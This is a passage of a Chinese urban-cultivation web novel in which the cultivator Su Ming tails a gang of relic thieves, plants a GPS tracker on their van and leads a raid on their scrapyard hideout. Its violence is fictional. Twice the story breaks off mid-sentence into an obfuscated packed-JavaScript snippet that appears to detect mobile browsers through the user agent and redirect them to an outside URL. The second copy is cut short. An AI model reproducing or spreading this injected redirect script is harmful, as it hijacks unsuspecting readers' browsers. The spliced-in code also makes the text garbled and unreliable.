按照凌虚子传授的法诀,他需在掌心凝聚火行灵气,压缩、旋转,形成稳定的、高温的火焰弹丸,然后以神念锁定,发射出去。难点在于灵力压缩的稳定性和发射的精准控制。 一开始总是失败。要么灵力压缩不够,火焰松散无力;要么控制不稳,火焰在掌心就爆开,烫得他龇牙咧嘴。但苏明耐心极好,一次次尝试,调整灵力输出频率和旋转速度。 一夜过去,天亮时分,苏明摊开右手,掌心上方,终于悬浮起一颗拳头大小、赤红明亮、缓缓旋转的火球!虽然边缘还有些波动,温度也远未达到法诀描述,但总算成型了! “去!”他轻喝一声,神念锁定三米外一个准备好的铁皮桶。 火球“嗖”地一声飞出,划过一道赤红轨迹,精准命中铁皮桶! “轰!” 一声闷响,铁皮桶被炸开一个大洞,边缘金属烧得通红扭曲,冒出缕缕青烟。 成了!苏明心中一喜。虽然威力还远不如火煞符,而且发射后感觉丹田灵力被抽走近三成,消耗不小,但这意味着他终于有了一个可以主动施展、中程攻击的法术!配合踏云步的机动性,战术将更加灵活。 “勤加练习,压缩更紧,温度更高,控制更稳。”凌虚子评价道,“以你目前灵力,至多连续施展三次。可作为奇兵,不可倚为常规手段。” “明白。”苏明点头。炎弹术目前更多是补足攻击距离和突然性,真正杀招还是近身搏杀和火煞符。 接下来的两天,苏明一边继续送快递维持生计,一边留意平台信息,等待吴清风和通讯器那边的回复。同时,他加紧练习炎弹术,并尝试将“涤尘术”玩出新花样,比如凝聚成水针进行精细“清洁”,或者形成水膜进行短暂防护。 第三天上午,吴清风回复了:“近日圈内确有些风声。城东‘墨云轩’的老板,手里有卷从吐蕃流出的‘伏藏’唐卡,据说能让人产生‘幻觉’,看到前世片段。不少人感兴趣,但他开价太高,也怕惹麻烦,没出手。还有西郊一位退休地质教授,家里收藏了不少‘有辐射’的奇异矿石标本,据说靠近久了会做怪梦。这两人,都收到过匿名询问或‘拜访’,但暂时无事。” “墨云轩”老板?退休地质教授?苏明记下。这两处都有可能成为目标。 下午,通讯器也响了,是那个中年男人:“根据线报,‘盗影’小组近期在打听两样东西。一是‘血玉髓’,一种只在高海拔古墓或火山熔岩深处才可能形成的、蕴涵血煞之气的特殊玉石,通常被用作邪道法器材料。二是‘阴魂木’,埋于极阴之地千年以上的阴沉木,可用于承载阴魂或炼制阴属性法宝。另外,监控显示,昨天傍晚,一个身形、步态疑似‘鼹鼠’的人,在城东古玩市场附近出现过,但很快消失。” 血玉髓?阴魂木?苏明立刻联想到赵老丢失的铜镜(阴冷污秽能量)和卷轴(非纸非帛)。难道那两样东西的材料或作用,与这两种罕见物品有关?‘盗影’小组是在搜集特定材料? 而“鼹鼠”出现在城东古玩市场……那里正是“墨云轩”所在区域! 苏明立刻回复:“收到。我马上去城东古玩市场。重点关注‘墨云轩’和疑似‘血玉髓’、‘阴魂木’的交易信息。” 他换上一身不起眼的衣服,戴上口罩和帽子,将“破妄符”和“镇魂铃”贴身放好,又检查了一遍火煞符和星髓,然后出门,直奔城东古玩市场。 这一次,他目标明确。来到市场后,他没有闲逛,而是直接走向“墨云轩”。这是一家主营藏传佛教文物和唐卡的字画店,门面不小。 苏明没有立刻进去,而是在对面一家茶馆二楼靠窗位置坐下,点了一壶茶,看似随意地观察着“墨云轩”的门口。同时,他悄悄运转灵目术,扫视着进出店铺的人。 一下午过去,进出“墨云轩”的人不多,大多是些普通游客或收藏爱好者,身上没有异常气息。店铺老板是个胖胖的、笑容可掬的中年男人,看起来一切正常。 就在苏明准备换个方式接触时,他看到一个穿着灰色工装、提着工具箱、像是水电维修工的男人,低头走进了“墨云轩”。这个男人身形中等,步伐沉稳,低着头看不清脸,但苏明注意到,他进入店铺的瞬间,门口悬挂的一串藏式风铃,极其轻微地、不自然地晃动了一下,却没有发出应有的清脆声响。 是灵力或能量波动干扰?苏明心中一凛,立刻凝神,将灵目术聚焦到那人身上。 在他的感知中,那维修工周身笼罩着一层极其淡薄、但确实存在的、扭曲光线的“膜”,让他的身形看起来有些模糊不定。而且,他身上散发的气息非常“干净”,干净得不像一个干体力活的维修工,更像是……刻意收敛、伪装后的结果。 是“鼹鼠”?还是“变色龙”? 苏明立刻放下茶钱,起身下楼,快步走向“墨云轩”。他没有从正门进,而是绕到店铺侧面 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就在这时,“王师傅”似乎察觉到了什么,猛地转头看向仓库门口!他脸上依旧没什么表情,但眼神骤然变得锐利如鹰! 苏明心中一惊,好敏锐的感知!他立刻缩回身子,贴在墙后,同时全力运转“敛息术”。 “王师傅”缓缓站起身,走向仓库门口。刘老板还在后面疑惑:“王师傅?怎么了?” “好像听到点动静,我去看看。” “王师傅”声音依旧平静,但脚步声已经朝着门口逼近。 苏明知道不能被他堵在这里。他目光一扫,看到通道另一头有个堆着空纸箱的角落。他身形一动,如同狸猫般窜了过去,缩进纸箱堆的阴影里,屏住呼吸,连心跳都压到最低。 “吱呀——” 仓库门被完全推开。“王师傅”走了出来,目光如同探照灯般扫过通道。他看得很仔细,尤其是在苏明刚才藏身的位置和现在藏身的纸箱堆方向,停留了数秒。 苏明能感觉到一股微弱但极具穿透性的神识扫过自己藏身之处。他全力维持敛息术,同时悄悄握住了“镇魂铃”。 那神识扫过,似乎没有发现异常,缓缓收回。“王师傅”又在门口站了几秒,才转身走回仓库:“没事,可能是老鼠。刘老板,阀门有点老化,我给您紧一紧,应该能管一阵。要是还漏,就得换新的了。” “哎,好好,麻烦您了王师傅。” 几分钟后,“王师傅”提着工具箱走了出来,跟刘老板打了声招呼,便低头匆匆离开了店铺,汇入了市场的人流。 苏明没有立刻跟出去。他等了几分钟,确认“王师傅”走远,才从藏身处出来。他没有去追,对方是潜行老手,又有了警觉,现在跟上去很容易被反跟踪。 他走到刚才“王师傅”检查阀门的地方,蹲下身,仔细观察。阀门确实有些老化,滴水的痕迹也是真的。但苏明的目光,落在旁边一个不起眼的、靠墙的货架底部。 那里,有一个极其浅淡的、用特殊白色粉末(近乎透明)画下的标记,形状像一个简化的眼睛,瞳孔处点了一个红点。和他之前在赵老收藏间柜子上看到的扭曲眼睛符号,有几分神似,但更简洁。 果然是“盗影”小组的标记!他们在“墨云轩”做了标记,意味着这里已经被他们列为潜在目标!那卷“伏藏”唐卡,恐怕就是他们的下一个目标! 苏明用手机拍下标记,然后不动声色地离开仓库,跟刘老板随意聊了几句,借口对唐卡感兴趣,旁敲侧击地问了问那卷“伏藏”唐卡的情况。刘老板言语间颇为自豪,但也透出几分谨慎,只说唐卡是早年从一位藏族老僧人手中求得,确有奇异,但具体如何奇异,语焉不详,且开价极高,暂时没有出手的打算。 离开“墨云轩”,苏明找了个安静角落,将情况通过通讯器汇报。 很快,回复:“标记确认,是‘盗影’小组的‘待处理’标记。他们会评估风险和价值,制定计划后动手。时间可能在三天内。你的任务是潜伏在‘墨云轩’附近,监视并追踪前来取货的‘盗影’成员,最好能找到他们的临时落脚点或联络点。注意,他们可能不止一人行动,且携带非常规装备。若遇危机,以自保为第一优先,可放弃追踪。任务代号:‘捕鼠’。追加十万追踪奖金。” 三天内,潜伏监视,追踪“盗影”成员,找到他们的巢穴。 苏明眼中闪过一丝锐光。 “捕鼠”行动,开始。 27. 捕鼠(上) 三天。 苏明站在“墨云轩”斜对面一家快捷酒店的二楼房间里,透过窗帘的缝隙,凝视着对面那家看似平静的古玩店。这家酒店位置绝佳,视野开阔,能清晰看到“墨云轩”的正门、侧门以及后面小巷的一部分。房间是他用“苏墨”的身份开的,预付了一周房费。 接下来的三天,他将以这里为据点,进行一场无声的监视。 房间里很简陋,只有基本的床、桌椅和电视。苏明将聚灵阵的小型便携阵盘(用几块玉髓碎片和特制符纸做的简化版,效果只有完整版的三成,但便于携带和伪装)布置在墙角,盘坐在阵中,一边缓缓运转功法恢复精力,一边分出一缕心神,通过固定在窗边、用黑色胶带做了伪装的高倍望远镜,监控着“墨云轩”的动静。 他带足了干粮和水,除了必要,不打算离开房间。通讯器放在手边,随时可以联络。那枚“镇魂铃”和“破妄符”贴身放置,三张火煞符检查了数遍。右臂的伤口在烈阳丹的滋养下已基本愈合,只留下一道淡红色的疤痕,不影响活动。 第一天,平静无波。“墨云轩”正常营业,顾客稀稀拉拉。胖老板刘老板大部分时间坐在柜台后玩手机或喝茶。没有看到任何可疑人物靠近那个后门标记。苏明甚至怀疑,那个标记是不是只是“鼹鼠”随手留的观察点,并非行动信号。 但他不敢大意。李寰宇那边的线报显示“盗影”小组可能在三天内动手,这种专业团队,动手前必然有周密的踩点和计划。 第二天下午,变化出现了。 一个穿着快递员制服、戴着口罩和鸭舌帽的年轻人,骑着一辆印着某生鲜平台标志的电瓶车,停在了“墨云轩”门口。他没有进店,而是从车后座的保温箱里取出一个包装精美的水果礼盒,放在了店门口,然后对着店里喊了一声:“刘老板在吗?您的同城闪送!” 刘老板闻声出来,看到礼盒,愣了一下:“我没订东西啊?” “地址是这儿,收件人刘富贵,电话是138xxxx……”快递员念出信息。 “是我没错,可这……”刘老板疑惑地接过礼盒,看了看上面的标签,没有寄件人信息,只有打印的“祝您生意兴隆”几个字。 “可能是哪位朋友送的吧,您签收一下。”快递员递过签收单。 刘老板不疑有他,签了字。快递员骑车离开。 苏明在望远镜后,眼神微凝。这个快递员,身形步伐看起来很普通,但他注意到一个细节:快递员在递签收单时,右手小指似乎极其轻微地弹了一下,一点肉眼几乎看不见的微尘飘落在了礼盒的丝带上。而刘老板的手,不可避免地碰到了丝带。 是下药?还是标记? 苏明立刻将镜头对准刘老板。刘老板拿着礼盒回到店里,随手放在柜台,继续看手机,并无异样。但过了大约十分钟,刘老板开始频繁地打哈欠,揉眼睛,显得有些精神不振。他起身给自己倒了杯水,喝了几口,但困意似乎更浓了,最后竟然趴在柜台上,昏昏睡去。 迷药!那礼盒或丝带上有高挥发性或接触性迷药!这个“快递员”,是“盗影”的人!“变色龙”?还是外围成员? 苏明精神一振,猎物进网了!他没有轻举妄动,对方先用迷药放倒刘老板,肯定是为了方便后续行动。真正的“取货”人还没出现。 果然,又过了约莫二十分钟,一辆看起来普通的银色面包车缓缓驶入“墨云轩”后面的小巷,停在了侧门附近。车上下来两个人。 驾驶座下来的是个身材中等、穿着灰色夹克、戴着棒球帽和口罩的男人,手里提着一个看起来很专业的仪器箱。副驾驶下来的是个身形魁梧、穿着工装裤和黑背心的光头壮汉,满脸横肉,眼神凶悍,手里提着一个大号的帆布工具袋。 是“鼹鼠”和“穿山甲”!苏明立刻认出资料中的描述!那个提仪器箱的,身形步态和之前冒充维修工的“鼹鼠”完全吻合!而那个光头壮汉,正是擅长暴力突破的“穿山甲”! 两人下车后,警惕地扫视了一圈周围,然后“鼹鼠”走到侧门前,没有用任何工具,只是伸手在门锁上拨弄了几下,几乎无声无息,门锁就开了。两人闪身进入,轻轻带上门。 专业!苏明心中暗赞,同时更加警惕。对方动作娴熟,配合默契,显然是老手。 他快速思考。现在对方两人进入店内,刘老板被迷倒,店里没有其他顾客。他们的目标是仓库里的“伏藏”唐卡。得手后,会从后门离开,上面包车逃走。 他的任务是追踪,找到他们的落脚点。硬拼不是明智之举,对方有两人,而且“穿山甲”看起来就不好惹,很可能有枪或重武器。最好的办法,是等他们得手离开后,远远吊着,找到他们的老巢。 苏明立刻从背包里拿出一个小巧的、带强磁铁的微型GPS定位器。这是他用贡献点从李寰宇那边兑换的“小玩意”,信号强,续航久,且带有防干扰涂层。他原本打算用在对方车辆上,但现在他们从后门进,车停在巷子里,有机会! 他飞快地换上一身深色运动服,戴上口罩和帽子,检查了一下身上的装备,然后悄无声息地离开房间,从酒店消防通道下楼,绕到建筑后面,朝着“墨云轩”后面的小巷潜去。 他没有直接进入小巷,而是先来到小巷隔壁另一条更窄的、堆满杂物的死胡同,从那里翻过一道低矮的围墙,落在“墨云轩”后巷相邻的一个废弃小院里。这里堆满了破旧家具和建筑垃圾,正好能观察到那辆银色面包车和“墨云轩”的侧门,又不容易被发现。 他屏息凝神,将身体隐藏在杂物堆的阴影里,同时运转“敛息术”和“龟息术”,心跳呼吸降到最低,目光透过杂物缝隙,紧紧盯着二十米外的面包车和侧门。 时间一分一秒过去。小巷里很安静,只有远处街道传来的模糊车流声。 大约十分钟后,“墨云轩”的侧门再次无声地开了一条缝。“鼹鼠”先探出头,警惕地观察了一下小巷两端,然后朝里面招了招手。 光头壮汉“穿山甲”提着那个鼓鼓囊囊的帆布工具袋走了出来,袋子看起来沉甸甸的,里面显然装着卷起来的唐卡。“鼹鼠”紧随其后,手里依旧提着仪器箱,但看起来轻松了一些。 两人快步走向面包车。“穿山甲”拉开侧滑门,将帆布袋小心地放在后排座位上。“鼹鼠”则走到驾驶座一侧,准备上车。 就是现在! 苏明看准时机,在“鼹鼠”拉开车门、注意力稍有分散的瞬间,手腕一抖,将那个微型GPS定位器,如同弹弓射出的石子般,精准地弹射出去,无声无息地吸附在了面包车底盘下一个隐蔽的凹槽里。 整个过程不到一秒,且苏明用了巧劲,定位器飞出的弧线被杂物阴影遮挡,落点也避开了两人的视线。 “鼹鼠”似乎有所察觉,猛地转头看向苏明藏身的大致方向,眼神锐利。 苏明立刻将身体伏得更低,连目光都收了回来,只靠听觉和神识感知。他能感觉到一股微弱但带着探查意味的神识扫过这片区域,但“鼹鼠”的神识显然不如李寰宇手下的那个筑基期,而且苏明的“敛息术”在炼气四层后效果更强,对方的神识扫过,并未发现异常。 几秒后,神识收回。“鼹鼠”似乎没发现什么,但依旧皱了皱眉,低声对“穿山甲”说了句什么,两人快速上车,发动引擎。 银色面包车缓缓驶出小巷,汇入主路车流。 苏明没有立刻追出去。他等了几分钟,才从藏身处出来,拿出一个专用的接收器(和定位器配套),屏幕上显示出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356235|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个闪烁的红点,正在快速向城西方向移动。 成了!定位器成功附着,信号稳定。 他没有去开自己的电瓶车(太显眼,速度也跟不上),而是快步走到主路上,拦了一辆出租车。 “师傅,跟着前面那辆银色面包车,车牌江A·X32R1。别跟太近,别被发现了。”苏明坐进后排,低声说道,同时递过去两张百元钞票。 司机是个中年大叔,看了眼钞票,又看了眼苏明严肃的表情,没多问,点点头:“放心,老弟,我跟车技术一流。” 出租车不紧不慢地跟了上去,始终隔着几辆车,利用车流做掩护。苏明则盯着接收器屏幕,确保不会跟丢。 面包车似乎很谨慎,在市区里绕了几圈,又突然拐进一个大型商场的地下停车场,在里面转了近十分钟才出来。出租车司机经验老到,提前在停车场另一个出口附近等候,再次跟上。 如此反复,显然对方在反跟踪。但苏明的GPS定位器发挥了关键作用,总能重新找到目标。 最终,面包车驶入了西郊一片老旧的工业区。这里厂房林立,但很多都已废弃或半废弃,道路复杂,行人稀少。面包车拐进一条堆满建筑垃圾的小路,停在了一个挂着“红星废旧金属回收公司”破旧牌子的院子门口。 两人下车,“穿山甲”提着帆布袋,“鼹鼠”警惕地看了看四周,才用钥匙打开锈迹斑斑的大铁门上的小门,两人闪身进去,铁门重新关上。 苏明让出租车在几百米外的一个路口停下,付了车费,下车。他没有立刻靠近那个院子,而是先绕着这片区域大致转了一圈,观察地形。 这个“红星回收公司”院子很大,围墙高约三米,上面拉着带刺的铁丝网。正面是大铁门,侧面还有个小门。院子里有几栋破旧的厂房和仓库,堆放着大量废铜烂铁和报废汽车。位置偏僻,四周都是类似的废弃厂区,确实是个绝佳的藏身和销赃地点。 苏明找了个能观察到院子大门、又不引人注目的高点——一栋废弃水塔的三层平台,潜伏下来。从这里,借助望远镜,能清晰看到院子大门和部分院内情况。 他拿出通讯器,汇报情况:“目标进入西郊老工业区,‘红星废旧金属回收公司’院内。疑似为‘盗影’小组据点。已确认两人身份,‘鼹鼠’、‘穿山甲’,并携带疑似‘伏藏’唐卡的赃物。请求下一步指示,是否继续监视,或等待支援进行突击?” 很快,回复:“做得好。继续监视,确认院内人数、活动规律、防御布置。不要打草惊蛇。支援小组一小时后抵达,由你现场指挥协调,进行突击抓捕。任务目标:抓捕‘盗影’小组成员,解救可能被囚禁的赵老(如果在此),缴获赃物。若遭遇抵抗,可采取必要措施。注意安全。” 现场指挥?苏明微微一愣,但随即冷静下来。李寰宇这是要把这次行动的主导权交给他,既是对他的考验,也是进一步的信任。 “明白。继续监视,等待支援。一小时后汇报详细情况。”苏明回复。 他调整了一下姿势,让自己更舒服些,然后全神贯注地开始观察院子内的动静。同时,在心中快速盘算着突击计划。 院子很大,建筑复杂,对方人数不明(可能不止“鼹鼠”和“穿山甲”),且有武器和非常规手段。强攻风险很大,最好是趁其不备,快速突入,控制关键人员。 一小时后,支援小组必须准时抵达,而且要足够精干。希望李寰宇派来的人靠谱。 夕阳西下,将废弃的工业区染上一层金红色。破旧的厂房投下长长的阴影,仿佛蛰伏的巨兽。 苏明静静潜伏在水塔上,如同耐心的猎人,等待着收网的时刻。 夜色,即将降临。而“捕鼠”行动的高潮,也即将到来。 28. 捕鼠(下) 暮色四合,西郊工业区浸入一片昏沉的暗蓝。废弃水塔上,寒风凛冽。苏明伏在冰冷的混凝土边缘,像一尊凝固的雕塑,只有眼睛透过望远镜的镜片,一眨不眨地锁定着下方“红星回收公司”的院子。 院子里陆续亮起了几盏昏暗的灯。他看到了“鼹鼠”和“穿山甲”的身影,在最大的那个仓库里进进出出,似乎在搬运、整理东西。约莫半小时后,第三个人出现了。 那是个身材纤细、穿着深色运动服、留着短发、看不清具体容貌的人,走路悄无声息,动作敏捷得像只猫。应该就是资料里那个性别不明、擅长伪装和毒物的“变色龙”。三人聚在仓库门口低声交谈了几句,然后“穿山甲”提着那个帆布袋,和“变色龙”一起走进了仓库深处。“鼹鼠”则留在门口,点了支烟,警惕地扫视着院子内外。 看来,这三人就是“盗影”小组在本地活动的主要成员了。苏明用望远镜仔细观察着仓库的结构、窗户位置、出入口,以及院内其他可能的藏身点或通道。他心里默默估算着突击的路线、可能遭遇抵抗的位置、以及控制关键人员的方案。 通讯器震动,支援小组就位的信息传来。苏明报出自己的精确位置和观察到的详细情况。十分钟后,三个穿着黑色作战服、装备精悍的人影,如同幽灵般悄然出现在水塔下方。两男一女,为首的是个眼神锐利、面容刚毅的中年男人,代号“铁手”。另一名体格壮硕,背着一个大号战术背包,代号“山魈”。唯一的女性身材矫健,动作轻盈,眼神冷静,代号“夜莺”。 “情况?”代号“铁手”的中年男人压低声音,言简意赅。 苏明快速说明:“目标三人,确认在院内仓库。‘鼹鼠’在门口,警惕性高,擅长隐匿、机关、疑似有低阶幻术手段。‘穿山甲’在仓库内,体格强壮,擅长暴力突破,可能有重武器。‘变色龙’位置不明,擅长伪装、毒物,需特别注意。仓库结构老旧,有两个出入口,正门和侧面小门。院内堆满杂物,视野受限。目标可能持有赃物‘伏藏’唐卡,不确定赵老是否在此。” “铁手”听完,点了点头,看向苏明:“苏先生,李先生指定你现场指挥。你的计划?” 苏明没有推辞,指着下方快速道:“‘夜莺’,你负责远程压制和观察,找制高点,重点盯住仓库门口和可能逃逸的路线,用麻醉弹,优先制服‘鼹鼠’,若其使用非常规手段,用这个干扰。”他递过去那个青铜“镇魂铃”。 “山魈’,你从侧面迂回,用破拆工具快速打开侧面小门,制造第二突入点,吸引部分注意力,注意‘变色龙’可能潜伏在侧翼或用毒。” “我和‘铁手’从正门主攻。‘铁手’负责正面突破和控制‘穿山甲’,我负责应对‘鼹鼠’的可能手段和寻找赵老及赃物。行动要快,争取在他们反应过来前控制局面。若遭遇强力抵抗或确认赵老不在此地,以抓捕和缴获赃物为优先,不必强求全歼。” “明白。”“铁手”三人齐声应道,对苏明的安排没有异议,立刻分头准备。 “夜莺”如同一只真正的夜鸟,悄无声息地滑下水塔,消失在旁边的厂房阴影中,去寻找合适的狙击点。“山魈”检查了一下背包里的破门锤和□□(非致命弹),弓着身,朝着院子侧面快速移动。 苏明和“铁手”沿着水塔背面的消防梯快速下降,借着建筑物和废弃机器的阴影,如同两条游鱼,迅速接近院子正门。 距离大门约二十米,两人在一堆生锈的钢架后停下。“铁手”朝侧面打了个手势,示意“山魈”已就位。苏明看向“夜莺”可能潜伏的方向,没有信号,表示她已准备好。 苏明深吸一口气,朝“铁手”点了点头,然后激活了“破妄符”,一股清凉气息涌入双眼,视野中的世界瞬间多了些模糊的能量线条。他看到仓库门口,“鼹鼠”周身笼罩着一层极淡的、扭曲光线的能量场,果然是匿踪或幻术类手段。仓库内部,有两个较强的气血光团(“穿山甲”和“变色龙”),以及几处微弱的能量波动点,可能是赃物或其他物品。 “行动!” 苏明低喝一声,脚下《踏云步》全力发动,身形如箭般射向院门!“铁手”紧随其后,速度竟也不慢,显然也修炼过某种身法。 几乎在苏明冲出的同时,侧面传来“轰”的一声闷响!“山魈”用破门锤粗暴地撞开了仓库的侧面小门! 仓库门口的“鼹鼠”反应极快!在破门声响起、苏明和“铁手”身影出现的瞬间,他脸色骤变,手中烟头猛地弹出,同时身体向侧后方急退,双手快速结印,口中念念有词! “砰!” 一声轻微的枪响,来自“夜莺”的方向。一颗特制的麻醉弹无声无息地射向“鼹鼠”!但在临近“鼹鼠”身体时,却被那层扭曲光线的能量场干扰,弹道出现了极其微小的偏转,擦着他的肩膀飞过,打在了后面的墙壁上! “有狙击手!强攻!”“鼹鼠”嘶声吼道,声音带着惊怒。他刚才的结印显然已经完成,苏明“破妄符”加持的视野中,看到他身前空气一阵扭曲,似乎有数道模糊的、如同鬼影般的轮廓快速扑向冲来的苏明和“铁手”! 低阶幻术!召唤或控制的阴魂类能量体! “小心幻象!”苏明大喝,同时左手一翻,“镇魂铃”在手,灌注灵力,用力一摇! “叮——!” 无声的、直击神魂的波动以苏明为中心扩散开来!那几道扑来的模糊鬼影如同被狂风吹散的烟雾,发出一声凄厉的、只有灵魂能听到的尖啸,瞬间溃散!连“鼹鼠”身体周围那层扭曲光线的能量场也剧烈波动了一下,黯淡了不少。 “什么?!”“鼹鼠”大惊失色,显然没料到对方有专门克制灵体幻术的手段。 就在这瞬间,“铁手”已经如同猎豹般扑到近前,一拳带着破风之声,直捣“鼹鼠”胸口!拳风刚猛,隐有风雷之音,显然也是修炼了某种高深武学。 “鼹鼠”仓促间双臂交叉格挡。 “砰!” 一声闷响,“鼹鼠”被震得踉跄后退,双臂发麻,眼中骇然之色更浓。 而苏明则速度不减,身形一晃,绕过“鼹鼠”和“铁手”的战团,直接冲进了仓库正门!他的目标是里面的“穿山甲”、“变色龙”和赃物! 仓库内灯光昏暗,堆满各种废旧金属和杂物。正对门口的空地上,“穿山甲”已经怒吼着掀翻了一个工作台,手中赫然多了一把改装过的、枪管粗短的□□,黑洞洞的枪口抬起,对准了冲进来的苏明! “找死!”“穿山甲”狞笑,扣动扳机! 苏明在他抬枪的瞬间,脚下《踏云步》的“云龙三折”已然施展,身形如同鬼魅般向侧方横移折转! “轰!” □□的轰鸣在仓库内回荡,无数钢珠打得苏明刚才所在位置后面的铁皮墙噼啪作响,火星四溅。 苏明折转的同时,右手掌心赤红光芒一闪,一颗拳头大小、凝练炽热的“炎弹”已然成形,甩手射向“穿山甲”! “穿山甲”显然没料到苏明有这种手段,仓促间只来得及侧身躲避。 “噗!” 炎弹没有直接命中,擦着他的肩膀飞过,打在了后面的一个铁柜上,瞬间将铁柜烧穿一个大洞,融化的铁水滴落,发出“嗤嗤”声响。 “穿山甲”痛哼一声,肩膀衣服焦黑一片,皮肤烫伤,但他体格强横,竟似没有受到重创,反而被激起了凶性,怒吼着调转枪口,准备再次射击。 然而,苏明不给他机会。在射出炎弹的同时,他已经再次折转,速度爆发,瞬间拉近距离,左手一记灌注灵力的掌刀,狠狠切在“穿山甲”持枪的手腕上! “咔嚓!” 又是熟悉的骨裂声。“穿山甲”惨嚎一声,□□脱手。 苏明得势不饶人,右手一记“金光爪”,五指如钩,带着锋锐金芒,闪电般扣向“穿山甲”的咽喉! “住手!” 就在这时,一声尖利的叱喝响起。侧面杂物堆的阴影里,“变色龙”的身影如同毒蛇般窜出,手中一道乌光射向苏明面门!速度奇快,带着腥甜气味,显然是喂毒的暗器! 与此同时,一股淡淡的、令人头晕目眩的甜香在仓库内弥漫开来!是毒烟! 苏明心中警铃大作,顾不得继续攻击“穿山甲”,身形急退,同时屏住呼吸,体内灵力运转,尝试驱散吸入的少量毒烟。那射来的乌光被他险之又险地偏头避开,钉在了身后的柱子上,是一根泛着蓝光的毒针。 “哼,倒是有两下子。但进了这里,就别想出去了。”“变色龙”的声音嘶哑难辨男女,身影在昏暗的光线和杂物阴影中若隐若现,仿佛能融入环境,极难锁定。 “穿山甲”也趁机捂着断腕后退,与“变色龙”呈犄角之势,隐隐将苏明围在中间。外面,“铁手”和“鼹鼠”的打斗声、以及“山魈”从侧面突入的动静混合在一起,显然战斗也在激烈进行。 “把东西交出来,可以留你们一条命。”苏明一边运转灵力抵御毒烟的侵蚀(效果很弱,但能减缓不适),一边冷声说道,同时“灵目术”全力运转,寻找“变色龙”的真身和赃物的位置。在“破妄符”的加持下,他能看到“变色龙”身上也有一层类似“鼹鼠”的扭曲光线,但其核心能量波动在右前方那堆轮胎后面。 “东西?你是说那卷唐卡,还是……之前那个老东西的破铜烂铁和烂纸?”“变色龙”的声音带着讥讽,“可惜,唐卡我们要带走。至于那个老头和他那些垃圾,你们来晚了。” 赵老果然在他们手里!而且听口气,恐怕已经遭了毒手,或者被转移了?赃物也可能不在这里? 苏明心中一沉,但面色不变:“赵老在哪?” “谁知道呢,或许在某个地底好好睡觉吧。”“变色龙”阴笑一声,身形再次隐入阴影。 “穿山甲”也忍着剧痛,从腰间拔出一把匕首,虎视眈眈。 不能再拖了。苏明眼神一厉,决定先解决最麻烦的“变色龙”。他左手悄悄扣住了一张“火煞符”,同时将“镇魂铃”再次握在手中,猛地朝着“变色龙”真身藏匿的轮胎堆方向一摇! “叮!” 镇魂波动席卷而去!虽然对活人效果不如对灵体幻术那么强,但依然让“变色龙”身形一滞,隐匿效果被打断,露出了模糊的轮廓。 就是现在! 苏明右手闪电般掷出“火煞符”! “疾!” 赤红符纸化作一道炽烈火矢,呼啸着射向轮胎堆! “变色龙”尖叫一声,显然识得这符箓厉害,不敢硬接,猛地从藏身处扑出,向旁边翻滚躲避。 “轰隆!” 火煞符击中轮胎堆,爆开一团巨大的火球,将半个轮胎堆吞没,烈焰熊熊,浓烟滚滚!高温和冲击波将“变色龙”掀飞出去,撞在后面的铁架上,闷哼一声,显然受了不轻的伤,身上那层隐匿光线也彻底溃散,露出一个穿着紧身黑衣、脸上带着诡异油彩、看不出年龄性别的人。 “山魈”此刻也从侧面小门冲了进来,见状立刻抬起□□(非致命弹),对准了受伤的“变色龙”。 “别动!动就打断你的腿!”“山魈”吼道。 “穿山甲”见同伴被重创,自己手腕断裂,外面“鼹鼠”的情况似乎也不妙(打斗声已经减弱),眼中闪过一丝绝望和狠色,猛地从怀中掏出一个巴掌大小、类似遥控器的装置,拇指按在了红色的按钮上! “都别过来!不然大家一起死!这仓库下面,我埋了炸药!”“穿山甲”疯狂嘶吼,脸上横肉抖动。 炸药?苏明和“山魈”脸色都是一变。 “你以为我会信?”苏明冷声道,但脚步停了下来,神识仔细感知地下。果然,在仓库几个承重柱和墙角位置,他感应到了几处微弱的、不稳定的能量波动,像是被特殊手法掩藏起来的□□!这疯子! “你可以试试!大不了一起玩完!老子烂命一条,值了!”“穿山甲”喘着粗气,手指死死按在按钮上。 局面一时僵持。 就在这时,仓库外传来“铁手”沉稳的声音:“‘鼹鼠’已制服。苏先生,里面情况?” “‘穿山甲’说仓库有炸药,遥控器在他手里。‘变色龙’重伤。”苏明快速回应,目光紧盯着“穿山甲”的手指。 “炸药?……稍等,我让‘夜莺’扫描。”外面沉默了几秒,然后“铁手”的声音再次传来,带着一丝凝重:“扫描确认,有四处高能□□反应,位置与承重结构吻合。遥控信号已被干扰屏蔽,但不确定是否有物理触发或延迟装置。小心处理。” 信号被干扰了,但遥控器可能在“穿山甲”手里,直接动手风险太大。 “把遥控器放下,东西交出来,可以留你一命。”苏明对“穿山甲”说道,语气放缓,“为了点东西,把命搭上,不值。” “放下?放下老子还有活路?”“穿山甲”狞笑,“你们是什么人,老子清楚!落到你们手里,比死还惨!少废话!让我们走,不然就一起……” 他的话戛然而止。 因为仓库顶上,一片不起眼的、被灰尘覆盖的透明采光板,悄无声息地滑开了。一道纤细的、穿着深灰色紧身衣的身影,如同没有重量的羽毛般飘落而下,正好落在“穿山甲”身后不到两米的地方。 是“阿九”!那个在拍卖会上拍下“嘎乌盒”的时髦女孩!此刻她脸上没有任何表情,眼神冰冷,手中握着一把造型奇特、像是白玉打磨而成的短刺,短刺尖端泛着幽蓝的光。 “穿山甲”似乎察觉到身后有异,猛地想转身。 但已经晚了。 “阿九”手中的白玉短刺,如同毒蛇吐信,精准无比地刺入了“穿山甲”后颈的某个位置。 “穿山甲”身体猛地一僵,眼睛瞪大,喉咙里发出“咯咯”的怪响,按着遥控器的手指松开了,整个人如同抽掉骨头的皮囊,软软地瘫倒在地,再无动静。那把遥控器“啪嗒”一声掉在地上。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 